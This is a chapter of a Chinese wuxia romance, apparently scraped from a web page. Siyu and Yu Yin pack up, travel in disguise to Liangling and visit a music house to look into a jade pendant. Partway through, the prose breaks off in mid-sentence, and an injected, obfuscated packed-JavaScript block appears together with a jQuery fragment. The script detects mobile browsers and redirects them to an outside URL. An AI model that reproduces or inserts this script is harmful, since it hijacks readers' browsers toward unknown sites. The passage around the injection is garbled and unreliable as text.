虞音不等他追上,暗自徐徐施展轻功,看似走得缓慢,实则早已教思鸿在后面气喘吁吁,方能跟上。
他此时没有丝毫内力,只得跟在虞音身后疾步快跑。
待二人回至院内,虞音瞧着他道,“你说呢?自然是去凉陵了,不是要证实玉佩的事情么?”
思鸿双手扶着膝间,大喘数口,回道,“这…这般急么?不歇息两日再去?”
见他累成这般模样,虞音唇角喜意一闪而过,“早查清早了结,谁又要整日惦记着这事情了。”眼波流转间,又道,
“要不少主说说如何安排?您意下如何呀?”
思鸿只道她还在为着自己昨夜饮酒过量一事而生怒,这才称呼自己为少主。此时气息已缓过来些许,忙道,“我没意见,就依阿音。”朝她笑了笑,又道,
“稍等我片刻,我将这些整理一下,收拾妥当咱们再出发,待再回来时,屋内是整洁的。”
他二人昨日到听风崖后,拜过虞怀素便即赶往三十里外的据点,是以包裹行囊均未来得及整理。
思鸿当下将昨夜的被子,并诸般行李尽数归拢到柜子当中,见着雪诺城庄众送来的成亲礼物,心念一转,向抱臂靠在墙边等他的虞音问道,
“阿音,这些…”
还未待他将话说完,虞音截道,“我不要。”
思鸿闻言不由一时语塞,又整理了片刻,言道,“我是想着,他们这些礼物和你上次拿给我的那箱首饰看上去差不多,不如也将它们另外装箱,放在一处罢。”
“都是你的,你自己安排。”
“不不不。”思鸿摇了摇头,走去虞怀素的首饰箱前,言道,
“这个虽然上次我说过暂存阿音这里,可那时候你还不知圣台众位姐姐是玉楼旧部,所以这些自是不必再给我了罢?”
当时虞音只道思鸿帮了大忙,为她救人,是以才拿出娘亲的首饰当作酬报。却不想这些女子本就是玉楼旧人,自然无需再谈言谢,反倒是思鸿应该谢她才对。
但虞音偏生不爱这些,此时又瞧出思鸿的算计,知道他想方设法要将这些首饰尽数送给自己,一经看穿他心思,虞音岂能让他如此顺利?当即回道,
“嗯,你知道就好,俗话说‘落子无悔’,我既然当初被你骗了,那你就收好罢。”说罢心中暗喜,眼角不住地偷瞥思鸿,想看看他作何反应。
思鸿闻言只觉气血上涌,嘴巴似是被甚么物事堵住了般,一个字也说不出口。
他心知虞音说得都是实情,当初确是自己欺骗在先。这礼物是小,他最怕的是虞音因此事而迁怒自己,眼下她又不收雪诺城众人的贺礼,深怕到时她反悔,不跟自己成婚。
沉默半晌,虞音见他憋得面颊绯红,噗嗤笑出声来,娇嗔道,“婆婆妈妈的,你还走不走了?”
思鸿见她并未恼怒,朝她嘿嘿一笑,连忙走上前,将她抱入怀中,
“我还以为阿音生气了呢。”
“别磨蹭了,放在哪里又有甚么关系?快些收拾好,咱们这便出发了。”虞音嘴上虽是这般说,但思鸿将她抱住,她也不由自主地回应。
二人相拥良久,思鸿只觉她身子上的幽香扑鼻,稍稍低下头,刚好碰到她的发丝,温言说道,
“那我去整理了,再带些干粮,咱们路上吃。”
“嗯。”虞音轻应一声,自他怀中起身,浅笑望着他。
思鸿连忙到屋中将剩余之物收拾妥当,虞音既然如此说,他自然明白她的心意。刚才她不过是在戏弄自己罢了,这些首饰都是他二人之物,何必分得如此清楚,放在哪不都是一样的么?思鸿暗暗骂自己傻了。
当即寻来个盒子,将庄众送给二人的成亲贺礼通通放入其内,与虞怀素的首饰箱放到一处。
昨夜同乘轻雪回来时有些晚了,加之思鸿醉成那般模样,虞音自是不会绕崖入谷,此时轻雪挽风兀自在谷外食草。
虞音带着思鸿上崖后,自藤蔓而下,寻来马匹,二人同向南面的凉陵城而行。
听风崖离城中不算近,有二三百里的路程。此番出行既不是为着救人,亦不是为着查案而去,加之在众位姐姐口中得知凉陵山庄无事,是以二人心境大好,只当做游山玩水,并不赶程。
偶有曾经未发现的美丽风景之处,他们还绕路去走上一走,要入冬的江南,别有一番韵味。
这日,经过那家曾经住过的客店,思鸿问道,“阿音,要不要去投宿,歇息一晚?”
虞音瞥了一眼,“不住,讨厌这家客店。”
思鸿笑道,“那掌柜确是讨人烦。”
说罢,二人相视一笑,扬长而去。
想着当时在凉陵城内掀起不少风波,识得他们之人不在少数,虽然有如承岳从中周旋,但也不想给闵云舒添任何麻烦。
虞音这才领着思鸿,到城北二十里外的那个戏班子,花了些银两,置办了易容所需。
索性便在后台化起妆来,此番她摇身变做一位大家小姐,穿着华贵。
至于思鸿,自然逃不过奴仆、随从、管家之类的装扮。
“我这身看起来离乞丐不远,是何身份?”思鸿对着试衣镜不由问道。
“随你怎么称呼自己,总之记得要叫我鸿小姐,知道了么?”虞音兀自替自己勾描,让自己装束尽善尽美。
思鸿笑道,“何不叫思小姐,岂不省事。”
虞音瞥他一眼,“思小姐?你这姓氏本就少见,那样太容易被人察觉啦。”说着又对镜描画。
“倒也是。”思鸿想了想,还真没有比鸿小姐更合适的了。
她用“鸿”字称呼自己,思鸿极是喜欢。
待装扮毕,虞音将二人原本衣衫、裙子叠好,自是交由挽风携带。行了二十里路程,下马大摇大摆地过了门前守卫,入城而去。
此时天色已晚,二人直奔漱玉坊。
原来那日钱塾捻手握玉佩,大家皆不解其意,思鸿前去请教虞音,虞音在他耳边说了三个字,正是柳拂玉的名字。
思鸿当时闻听后,也是半信半疑,虽说都有个“玉”字相连,但这又如何能说明钱塾捻的玉佩和柳拂玉便有甚么渊源呢?
后来思鸿也问过虞音,她只是不愿说出原因,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269382|185990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道回凉陵后自会知晓。思鸿深知她常以感觉行事,且都奇准无匹,是以不再多问。
其实虞音那日与思鸿救出圣台姐姐们后,便觉柳拂玉这人不简单。当初若不是她道出圣台之事,自己只想取回娘的七弦琴,离开这是非之地。
加之后来在众人旁侧闻听钱塾捻说起这一生的经历,才知他并未坏透。虽说当年做下反叛玉楼之事,但当发觉误会思潇离等人,他也痛不欲生。
两者通过玉佩相连,虞音自然而然便感知得到,但若说教她拿出确凿证据,她却拿不出来,唯有到此证实,才能真相大白。
此时凉陵城中恢复了往日繁华,灯火通明。漱玉坊周遭更是人山人海,临近子夜时分,大伙便好像不需歇息一般。
虞音思鸿假作常客,门前小厮喜迎二人入内,寻了处临近舞台之地,叫了桌酒菜,饮酒听琴。
柳拂玉兀自做着报幕的活计,每每节目转换之际,她都到台上与大伙说上数句。
看着漱玉坊恢复往日光彩,并未受到上次封坊带来的影响,虞音思鸿都大是欣慰。
饮酒之际,思鸿看着台上出神,回想起当日同虞音初次见面,亦是在此。
那时他手中有一些虞怀素的残缺乐谱,都是当年玉楼灭亡后,各处所遗留。
思鸿自长大成人,习武之余,便托人去各地搜集,但七零八落,始终凑不齐一篇曲子。
他也为此才自己修习七弦琴,只想从这些残缺中寻到甚么线索。
这江南的音律胜地,思鸿自是不会错过。偶有经过时,便进来听听,只为寻找当年答案。
直到那日,他发现虞音所弹奏的曲子,完完整整地将自己手中的残谱补全。那之后一连数日他都来此,且次次站到头排,不敢相信自己所闻。
思鸿兀自出神,虞音只道他喜欢此时的节目,瞥了台上琴师一眼,又瞧向他,见他仍自专注,心中不由暗恼,
“听说你很爱来这里听琴?喜欢听哪位姑娘的琴?”
思鸿闻言一怔,还道她也忆起当日之事,不想却如此相问。
心知这又是一个稍有不慎便会惹得她恼怒的问题,他如何敢说“我知道楚姑姑当年七弦琴技独特,才想到这里瞧瞧能否见到自己人”?只回道,
“自然是听阿…”他忽然想起二人易了容,改口道,“自然是来听鸿小姐弹琴。”
虞音被他逗笑,“算你聪明。”唇角微弯,瞪了思鸿一眼。
那日她在台上,一连几日发现思鸿站在头排听琴,当时还以为他是敌人派来暗杀自己的。至于那之前,他是否经常来听旁的姑娘弹琴,虞音自是不知。
可她相信思鸿为人,他的过去,虞音不想再过多问询,只要他当下的眼里,只有自己便好,只听虞音又说道,
“以后不许听别的姑娘弹一根琴弦,知道么?”
思鸿笑道,“这如何做得到?比如现在。”
虞音抓起他手腕,言道,“我现在便不让你听,跟我来。”
思鸿被她拽着向外走去,一旁客人不知二人发生甚么事情,只道是哪户大家小姐,要教训下人。